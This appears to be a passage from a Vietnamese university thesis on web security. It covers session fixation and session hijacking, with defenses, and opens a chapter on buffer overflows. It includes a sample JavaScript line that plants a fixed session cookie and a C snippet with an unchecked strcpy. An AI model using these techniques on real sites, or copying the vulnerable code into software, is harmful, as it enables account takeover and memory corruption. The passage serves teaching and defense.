Khoa CNTT Chương 7: Chiếm hữu phiên làm việc CHƯƠNG 7: CHIẾM HỮUPHIÊN LÀM VIỆC DE I. TỔNG QUAN VỀ SESSIONID Như đã đề cập đến Session trong chương 2 phần III, session dùng để lưu trữ trạng thái làm việc giữa trình duyệt và trình chủ. Session ID có thể được lưu trữ trong cookie hay được nhúng vào địa chỉ URL hay trong biến ẩn của form. Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế cookie vẫn là lựa chọn tốt nhất, và là phương pháp an toàn nhất. Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá nhân như tên/mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo. Điều này đã khiến cho Session ID là mục tiêu lớn cho những hacker. Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để từ đó đột nhập vào phiên làm việc của họ. XSS cũng là mộtcáchtấn công có thể chiếm được session ID lưu trữ trong cookie. Cách tấn công này gọi là “session hijacking”. Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau: • Ấn định phiên làm việc • Đánh cắpphiên làm việc -Trang 84-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc II.ẤN ĐỊNH PHIÊN LÀM VIỆC Trong kiểu tấn công ấn định một phiên làm việc, hacker ấn định sẵn session ID cho nạn nhân trước khi họ đăng nhập vào hệ thống. Sau đó, hacker sẽ sử dụng session ID này để buớc vào phiên làm việc của nạn nhân đó. Tóm tắt quá trình tấn công: • Bước 1: Thiết lập session ID. Hệ thống quản lí session theo 2 hướng: +Hướng tự do: chấp nhận bất kì một session ID, nếu chưa tồn tại session thì tạo mới một session ID +Hướng giới hạn: chỉ chấp nhận session ID nào đã đăng kí trước đó. Với hệ thống hướng tự do hacker chỉ cần thiết lập mộtsessionIDbất kì, nhớ và sau đó sử dụng lại session ID này. Ở hướng giới hạn, hacker phải đăng kí một session ID với ứng dụng. Phụ thuộc vào qui trình quản lí phiên làm việc mà hacker lưutrữ thời gian sống củaphiên làm việccho đến khi nạn nhân đăng nhập vào hệ thống. Thông thường một phiên làm việc không tồn tại vô hạn định. Hệ thống sẽ tự động hủybỏ phiên làm việc nếu nó không thực hiện một thao tác nào (thời gian nhàn rỗi ) hoặc hết hạn định. Do đó bước 1a là kẻ tấn công sẽ bảo trì phiên làm việcbằng cách gửi yêu cầu đến server. -Trang 85-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc Hình 7.II-1: Sơ lược quá trình tấn công người dùng bằng kĩ thuật ấn định session • Bước 2: Gởi ID này đến trình duyệt nạn nhân. Hacker gửi session ID vừa tạo đến người dùng và việc trao đổi ID session còn tùy vào ứng dụng mà có thể qua URL, biến ẩn form hay cookie. Các cách tấn công thông dụng gồm: o Tấn công session ID trên tham số URL. o Tấn công session ID bằng biến ẩn form. o Tấn công session ID trong cookie. • Bước 3: Đột nhập vào phiên làm việc của nạn nhân. Sau khi nạn nhân đăng nhập vào hệ thống qua session ID đã được chỉ định sẵn và chưa thoát khỏi ứng dụng, hacker lúc này bắt đầu dùng session ID đó để bước vào phiên làm việc của nạn nhân. -Trang 86-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc Hình 7.II-2: Mô tả chi tiết quá trình thực hiện tấn công người dùng bằng kĩ thuật ấn định phiên làm việc. Tiếp theo luận văn sẽ trình bày về các cách tấn công session ID trong bước 2. -Trang 87-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc II.1. Tấn công Session ID trên tham số URL Hacker gửi một liên kết yêu cầu người dùng đăng nhập vào hệ thống máy đích với sessionID đã được ấn định sẵn trên URL. Ví dụ 7.II.1-1: Hình 7.II.1-1: Tấn công thông qua tham số URL 1. Hacker mở dịch vụ trực tuyến của ngân hàng thông qua địachỉ online.worldbank.com 2. Nhận được một session ID từ trình chủ để xác định phiên làm việc của hacker. Ví dụ session ID có giá trị là 1234. 3. Sau đó hacker sẽ tìm cách gửi một liên kết đếnmộtngười dùng nào đó có tài khoản trong ngân hàng này. Những liên kết đó thường là dẫn đến trang đăng nhập vào tài khoản trong ngân hàng ví dụ liên kếtlà để lừa người dùng làm việc trong phiên làm việc của hackerkhi người dùng nhận được liên kết này, -Trang 88-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc 4. Người dùng bị mắc lừa và mở ứng dụng Web bằng liên kết của hacker. Do đã có session ID (của hacker) nên trình chủ sẽ không tạo một session ID mới. 5. Người dùng vẫn tiếp tục đăng nhập với thông tin của mình để quản lý tài khoản. 6. Khi đóhackersẽ vào tài khoản của người dùng mà không cần phải đăng nhập vì có cùng phiên làm việc. Nhận xét: Cách tấn công này đòi hỏi ứng dụng phải tạo session ID ngay khi người dùng sử dụng ứng dụng. Dễ bị phát hiện bởi người dùng. II.2. Tấn công Session ID trong biến ẩn form Kĩ thuật này cũng tương tự như kĩ thuật biến ẩn form, nghĩa là sau khi hacker xem mã HTML của trang Web, nhận thấy session ID được đặt trong biến ẩn form, hacker sẽ gửimột sessionID cũng trên URL đến người dùng hoặc một trang Web giống trang đích nhưng với biến ẩn form mang giá trịấn định sẵn. Nhận xét:Phương pháp này cũng không khả thi và cũng dễ bị phát hiện như phương pháp trên. II.3. Tấn công Session ID trong cookie Bằng việc lợi dụng cookie, hacker có ba cách để đưa một session ID đến trình duyệt của nạn nhân: • Sử dụng ngôn ngữ kịch bản( Javascript, VBscript ) để thiết lập một cookie trong trình duyệt của nạn nhân. • Sử dụng thẻ để thiết lập thuộc tính Set-Cookie • Sử dụng Set-Cookie của HTTP header trả lời -Trang 89-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc Cụ thể là: a) Thiết lập một cookie trên trình duyệt bằng ngôn ngữ kịch bản: Hầu hết trình duyệt đều hỗ trợ các ngôn ngữ kịch bản thực thi trên trình duyệt như Javascript, VBScript. Cả hai ngôn ngữ này có thể thiết lập một cookie cho trình duyệt bằng cách thiết lập giá trị “ document.cookie”. Ví dụ 7.II.3-1: document.cookie= “sessionid=1234; domain= .workbank.com”; .idc Bên cạnh đó, hacker có thể thiết lập thời gian sống cho cookie, domain cookie và cách này phù hợp với những hệ thống hướng “tự do”. Ví dụ domain nào thuộc .workbank.com đều có thể đọc được giá trị cookie này. b) Dùng thẻ với thuộc tính Set-Cookie: Ứng dụng cũng có thể thiết lập cookie cho trình duyệt bằng thẻ trong HTML. Ví dụ 7.II.3-2: Meta tag Injection (Thêm thẻ meta): Với những hệ thống kiểm tra đối số với thẻ thì kĩ thuật XSS gặp nhiều khó khăn, do đó thêm thẻ là phương pháp khá hữu hiệu cho phép thao tác trên cookie. Thông thường thẻ được đặt giữa thẻ -Trang 90-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc nhưng nó vẫn có thể được xử lí nếu đặt bất cứ đâu trong trang HTML. Ví dụ 7.III-3: .idc Phương pháp này chiếm ưuthế hơn XSS ở chỗ không bị phá hủy trong IE ( không cho phép thao tác các ngôn ngữ kịch bản trên trình duyệt), ngoại trừ thẻ c) Thiết lập cookie dùng thuộc tính Set-Cookie trong header HTTP response: Cách này thiết lập một cookie cho trình duyệt bằng cách dùng Set-Cookie trong header HTTP thông qua kĩ thuật tấn công DNS server, II.4. Cách phòng chống Trước hết cũng cần nói rõ rằng việc phòng chống kiểu tấn công ấn định session ID này không thuộc trách nhiệm của trình chủ Web server, vì trình chủ chỉ cung cấp API quản lí phiên làm việc cho ứng dụng. Vì thế, chỉ ứng dụng mới cần có những biện pháp phòng chống lại kiểu tấn công này. • Biện pháp 1: Chống việc đăng nhập với một session ID có sẵn Theo kiểu tấn công này, người dùng đăng nhập vào hệ thống thông qua một session ID do hacker tạo sẵn thay vì cho trình chủ tạo mới, do đó để có thể phòng chống, ứng dụng phải hủy bỏ session ID được cung cấp bởi trình duyệt -Trang 91-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc của người dùng khi đăng nhập và luôn tạo một session ID mới khi người dùng đăng nhập thành công. • Biện pháp 2: Phòng chống những hacker bên ngoài hệ thống Việc tạo ứng dụng trên hệ thống theo hướng giới hạn ( chỉ tạo một session ID mới cho người dùng sau khi họ thành công ) sẽ khiến cho những hacker không phải là người dùng hợp lệ của hệ thống không thể sử dụng phương pháp tấn công này. • Biện pháp 3: Giới hạn phạm vi ứng dụng của session ID o Kết hợp Session ID với địa chỉ của trình duyệt. o Kết hợp Session ID với thông tin chứng thực được mã hoá SSL của người dùng. o Xóa bỏ session khi người dùng thoát khỏi hệ thống hay hết hiệu lực, có thể thực hiện trên trình chủ hoặc trình duyệt (cookie) o Người sử dụng phải dùng chế độ thoát khỏi hệ thống để xóa bỏ session hiện thời và có thể những session ID còn lưu lại trên hệ thống khi họ quên thoát ra ngoài những lần trước o Thiết lập thời gian hết hiệu lực cho session, tránh trường hợp hacker có thể duy trì session và sử dụng nó lâu dài. III. ĐÁNH CẮP PHIÊN LÀM VIỆC Khác với kiểu tấn công ấn định phiên làm việc, hacker đánh cắp một session ID của người dùng khi họ đang trong phiên làm việc của mình. Và để có thể đánh cắp session ID của người dùng, hacker có thể dùng những phương pháp sau: -Trang 92-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc • Dự đoán phiên làm việc • Vét cạn phiên làm việc. • Dùng đoạn mã đánh cắp phiên làm việc III.1. Tấn công kiểu dự đoán phiên làm việc (Prediction sessionID) Hacker phải là người dùng hợp lệ của hệ thống, sau vài lần đăng nhập vào hệ thống, hacker xem xét các giá trị session ID nhận được, tìm ra qui luật phát sinh và từ đó có thể đoán được giá trị của một phiên làm việc của người dùng kế tiếp. III.2. Tấn công kiểu vét cạn phiên làm việc (Brute force ID) Hacker có thể tự tạo một chương trình gửi nhiều yêu cầu trong một khoảng thời gian đến trình chủ. Mỗi một yêu cầu kèm theo một session ID để tìm các session ID đang tồn tại. Hacker dựa vào thói quen củanhững nhà phát triển ứng dụng lấy thời gian hay địa chỉ IP của người dùng để tạosessionIDđể hạn chế vùng vét cạn. Ví dụ 7.III.2-1: Tấn công trên trang Register.com Bất kì ai đăng kí quản lí domain trên Register.com cũng được quyền thay đổi nội dung DNS của mình. Mục đích của hacker là có được mật khẩu của người quản trị domain đó trên Register.com. Chức năng thay đổi mật khẩu của Reister.com là điểm yếu mà hacker sử dụng. Khi người dùng muốn thay đổi mật khẩu, nhấp vào liên kết “Forgot password”. Sau đóRegister.com sẽ gửi một email cung cấp cho người dùng một liên kết kèm theo session ID trên URL để xác thực viêc thay đổi. -Trang 93-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc III.3. Tấn công kiểu dùng đoạn mã để đánh cấp phiên làm việc Bằng cách chèn vào một đoạn mã thực thi trên chính trình duyệt của nạn nhân, hacker có thể lừa người dùng theo vết một liên kết để từ đó thực hiện đánh cắp cookie của người dùng và cách này được thực hiện thông qua lỗi Cross-Site Scripting. Sau khi có được phiên làm việc của người dùng, hacker vào phiên làm việc của họ. III.4. Biện pháp phòng chống Nội dung cách phòng chống tương tự như cách phòng chống trong kĩ thuật “Ấn định phiên làm việc” và cách tấn công Cross-Site Scripting. Và một số lưuý sau đây: • Không được chủ quan khi nghĩ rằng thuật toán tạo session của ứng dụng là bảo mật, không ai có thể đoán được. • Với session ID quá ngắn, hacker có thể dùng kĩ thuật “Vét cạn”. Nhưng không vì thế mà cho rằng ứng dụng sẽ bảo mật với session ID dài và phức tạp vì kích thước session ID sẽ là một vấn đề nếu thuật toán không tốt. III.1. Sự khác biệtgiữa đánh cắp phiên làm việc (session hijacking) và ấn định phiên làm việc (session fixation) -Trang 94-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc Session hijacking Session fixation Thời gian - Tấn công vào trình duyệt -Tấn công vào trình duyệt của của nạn nhân sau khi nạn nạn nhân trước khi nạn nhân nhân đăng nhập vào hệ đăng nhập vào hệ thống thống Ảnh hưởng - Giành được quyền truy -Hackergiành được quyền cập một lần. truy cập 1 lần, tạm thời, hoặc thời gian dài trong mỗi lần tấn công vào phiên làm việc của nạn nhân Duy trì phiên làm - Không yêu cầu sự duy trì Có thể yêu cầu duy trì session việc phiên làm việc cho đến khi nạn nhân đăng nhập Hướng tấn công 1. Khai thác lỗ hổng XSS 1. Yêu cầu người dùng đăng trên máy đích nhập vào hệ thống thông qua 2. Chụp lấy session ID một liên kết hay một form đã trong phần HTTP Header bị thay đổi. Referer gửi đến cho Web 2. Khai thác lỗ hổng XSS trên server khác bất kì một máy chủ nào trên 3. Khai thác lưu lượng domain của nạn nhân mạng ( với những liên kết 3. Khai thác lỗ hổng trong thẻ đến máy đích không được trên bất kì một máy mã hoá) chủ nào trên domain của nạn nhân 4. Thêm một Server có khả năng tạo session ID cùng -Trang 95-
Khoa CNTT Chương 7: Chiếm hữu phiên làm việc domain với máy đích vào trong máy chủ DNS của nạn nhân. 5. Thay đổi lưu lượng mạng Mục tiêu - Trình chủ -Tất cả máy chủ trên domain - Communication link đích. -Máychủ DNS -Trình chủ - Communication link Nhận xét: Kĩ thuậttấn công này lợi dụng sự lỏng lẻo trong việc quản lí phiên làm việc của ứng dụng đồng thời nhắm đến những người sử dụng thiếu cẩn trọng trong việc truy cập một ứng dụng Web. Trong các chương được đề cập, chỉ có kĩ thuật XSS và quản lí phiên làm việc là lợi dụng sự thiếu thận trọng của người dùng. -Trang 96-
Khoa CNTT Chương 8: Tràn bộ đệm (Buffer Overflow) Chương 8 TRÀN BỘ ĐỆM Nội dung: I. Khái niệm II. Sơđồtổ chức của bộ nhớ III. Một số cách gây lỗi tràn bộ đệm qua ứng dụng Web IV. Cách phòng chống -Trang 97-
Khoa CNTT Chương 8: Tràn bộ đệm (Buffer Overflow) CHƯƠNG 8: TRÀN BỘ ĐỆM (BUFFER OVERFLOW) DE I. KHÁI NIỆM Buffer overflow đã từng là lỗ hổng trong hệ thống bảo mật của UNIX từ nhiều năm nay nhưng chỉ được công bố sau buổi thảo luận của Dr. Mudge trong tài liệu 1995 “ Bằng cách nào viết một chương trình khai thác lỗ hổng Buffer Overflow”(1) Với kĩ thuật Buffer Overflow, cho phép một số lượng lớn dữ liệu được cung cấp bởi người dùng mà vượt quá lượng bộ nhớ cấp phát ban đầu bởi ứng dụng do đó gây cho hệ thống lâm vào tình trạng tràn bộ nhớ, thậm chí có thể bị chèn thêm một đoạn mã bất kì. Nếu ứng dụng được cấu hình để được thực thi như root thì người tấn công có thể thao tác như một nhà quản trị hệ thống của web server. Hầu hết những vấn đề đều phát sinh từ khả năng lập trình yếu kém của những nhà lập trình. Đơn cử là sự cẩu thả trong kiểm tra kích thước dữ liệu nhập vào. Ví dụ 8.I-1: func(char *ch) { char buffer[256]; strcpy(buffer,ch); } Buffer chỉ được cấp phát 256 byte nhưng ở hàm func, nếu buffer nhận 257 kí tự từ ch thì lỗi tràn bộđệm. -Trang 98-
Khoa CNTT Chương 8: Tràn bộ đệm (Buffer Overflow) Kỹ thuật khai thác lỗi tràn bộ đệm (buffer overflow exploit) được xem là một trong những kỹ thuật hacking kinh điển nhất. Chương 5 được chia làm 2 phần: Phần 1: Tổ chức bộ nhớ, stack, gọi hàm, shellcode. Giới thiệu tổ chức bộ nhớ của một tiến trình (process), các thao tác trên bộ nhớ stack khi gọi hàm và kỹ thuật cơ bản để tạo shellcode - đoạn mã thực thi một giao tiếp dòng lệnh (shell). Phần 2: Kỹ thuật khai thác lỗi tràn bộ đệm. Giới thiệu kỹ thuật tràn bộ đệm cơ bản, tổ chức shellcode, xác định địachỉ trả về, địa chỉ shellcode, cách truyền shellcode cho chương trình bị lỗi. Các chi tiết kỹ thuật minh hoạ ở đây được thực hiện trên môi trường Linux x86 (kernel 2.2.20, glibc-2.1.3), tuy nhiên về mặt lý thuyết có thể áp dụng cho bất kỳ môi trường nào khác. II. SƠ ĐỒ TỔ CHỨC CỦA BỘ NHỚ: Hình 8.II-1: Sơđồtổ chức bộ nhớ -Trang 99-